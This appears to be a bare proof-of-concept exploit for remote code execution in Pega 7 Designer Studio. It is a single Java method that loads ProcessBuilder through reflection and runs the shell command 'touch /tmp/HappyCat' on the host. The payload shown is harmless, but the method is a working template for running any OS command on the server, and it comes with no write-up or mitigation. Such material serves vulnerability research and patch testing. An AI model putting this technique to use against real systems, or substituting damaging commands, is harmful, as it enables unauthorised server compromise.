Pega 7 Designer Studio - RCE

	public void testMe() {
		ClassLoader cl = this.getClass().getClassLoader();
		try {
			//Class c = cl.loadClass("java.lang.ProcessBuilder");
	        Class c = Class.forName("java.lang.ProcessBuilder");
//			Class cls[] = new Class[] { String.class };
	        java.lang.reflect.Constructor a = c.getConstructor(java.util.List.class);
	        java.util.List<String> l = new ArrayList<String>();
	        l.add("touch");
	        l.add("/tmp/HappyCat");
	        
	        java.lang.ProcessBuilder pb = (java.lang.ProcessBuilder) a.newInstance(l);
	        System.out.println(pb.command().toString());
	        try {
				pb.start();
      
			} catch (Exception e) {
				// TODO Auto-generated catch block
				e.printStackTrace();
			} 
	        
		} catch (ClassNotFoundException e) {
			// TODO Auto-generated catch block
			e.printStackTrace();
		} catch (SecurityException e) {
			// TODO Auto-generated catch block
			e.printStackTrace();
		} catch (NoSuchMethodException e) {
			// TODO Auto-generated catch block
			e.printStackTrace();
		} catch (InstantiationException e) {
			// TODO Auto-generated catch block
			e.printStackTrace();
		} catch (IllegalAccessException e) {
			// TODO Auto-generated catch block
			e.printStackTrace();
		} catch (IllegalArgumentException e) {
			// TODO Auto-generated catch block
			e.printStackTrace();
		} catch (InvocationTargetException e) {
			// TODO Auto-generated catch block
			e.printStackTrace();
		}
	}